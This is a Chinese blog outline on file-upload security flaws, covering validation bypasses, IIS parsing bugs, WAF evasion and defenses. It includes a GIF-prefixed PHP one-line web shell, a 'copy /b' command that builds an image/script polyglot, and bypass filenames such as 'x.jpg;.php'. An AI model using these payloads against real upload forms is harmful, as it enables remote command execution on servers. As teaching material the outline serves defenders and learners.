当前位置:网站首页>浅谈网络安全之文件上传
浅谈网络安全之文件上传
2022-07-06 15:35:00 【InfoQ】
概述
漏洞成因及危害
1.本地验证(前端验证)
2.后端验证及绕过
2.1 后缀名


3.文件类型验证
3.1 文件头检测:文件头内容信息(如gif89a)
JPEG 0xFFD8FF
PNG0 x89504E470D0A1A0A
GIF 47 49 4638 39 61(GIF89a)
GIF89a
<?php echo`$_REQUEST[cmd]`;
?>
cmd命令: copy 1.jpg/b+a.txt test.php
3.2 Content-Type检测
4. 内容及其他
4.1 逻辑安全:条件竞争(相当于系统占用)
4.2 目录命名
5.其他漏洞
脚本函数漏洞-cve
CVE-2017-12615
CVE-2015-5254
CVE-2019-2618
6.中间件解析漏洞
6.1 IIS 6.0+解析漏洞
image/aa.jpg
image.asp/aa.jpg aa.jpg
image.asp;.jpg或xxx.asp;xxx.jpg
7.WAF绕过
7.1 数据溢出(垃圾数据填充)
7.2 符号变异('";)
x.jpg;.php
7.3数据截断(%00;换行)
x.\np\nh\np
7.4 重复数据
8.防御
边栏推荐
- memcached
- 机试刷题1
- config:invalid signature 解决办法和问题排查详解
- Puppeter connects to the existing Chrome browser
- Void keyword
- Aardio - integrate variable values into a string of text through variable names
- volatile关键字
- Windows auzre background operation interface of Microsoft's cloud computing products
- 服务器的系统怎么选者
- 自定义 swap 函数
猜你喜欢
ACL 2022 | small sample ner of sequence annotation: dual tower Bert model integrating tag semantics
UE4 blueprint learning chapter (IV) -- process control forloop and whileloop
Unified Focal loss: Generalising Dice and cross entropy-based losses to handle class imbalanced medi
云原生技术--- 容器知识点
MySQL数据库基本操作-DML
Mysql database basic operations DML
[leetcode] 19. Delete the penultimate node of the linked list
Self made j-flash burning tool -- QT calls jlinkarm DLL mode
新手程序员该不该背代码?
Slide the uniapp to a certain height and fix an element to the top effect demo (organize)
随机推荐
Self made j-flash burning tool -- QT calls jlinkarm DLL mode
新手程序员该不该背代码?
2014 Alibaba web pre intern project analysis (1)
Unified Focal loss: Generalising Dice and cross entropy-based losses to handle class imbalanced medi
Leetcode exercise - Sword finger offer 26 Substructure of tree
Advantages of link local address in IPv6
第十九章 使用工作队列管理器(二)
2014阿里巴巴web前实习生项目分析(1)
POJ 1258 Agri-Net
【雅思口语】安娜口语学习记录part1
Typescript get function parameter type
「小程序容器技术」,是噱头还是新风口?
sizeof关键字
#DAYU200体验官# 首页aito视频&Canvas绘制仪表盘(ets)
Windows auzre background operation interface of Microsoft's cloud computing products
OpenNMS separation database
项目复盘模板
How to achieve text animation effect
Web APIs DOM time object
View